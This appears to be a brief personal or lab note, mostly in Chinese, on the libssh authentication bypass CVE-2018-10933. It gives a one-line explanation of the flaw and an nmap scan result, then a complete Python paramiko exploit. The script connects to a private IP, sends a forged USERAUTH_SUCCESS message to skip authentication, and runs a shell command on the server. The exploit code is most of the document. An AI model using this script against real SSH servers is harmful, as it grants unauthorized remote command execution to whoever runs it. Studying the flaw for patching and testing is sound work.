CVE-2018-10933 LibSSH auth bypass

漏洞原理

认证实现错误，

认证分为多个步骤，可以直接跳到成功的步骤

 

 

 

A vulnerability was found in libssh's server-side state machine before versions 0.7.6 and 0.8.4.

 

 

22/tcp open  ssh     libssh 0.8.3 (protocol 2.0)

| ssh-hostkey:

|_  2048 fe:d7:54:08:9d:1c:ba:18:4c:ba:22:3c:75:c9:39:5e (RSA)

 

 

import paramiko
import socket
sock = socket.socket()
try:
   sock.connect((str('192.168.232.198'), int(22)))

   message = paramiko.message.Message()
   transport = paramiko.transport.Transport(sock)
   transport.start_client()

   message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
   transport._send_message(message)

   cmd = transport.open_session()

   stdin, stdout, stderr = cmd.exec_command("touch /tmp/3")
   res,err = stdout.read(),stderr.read()
   result = res if res else err

   print(result)
except:
    pass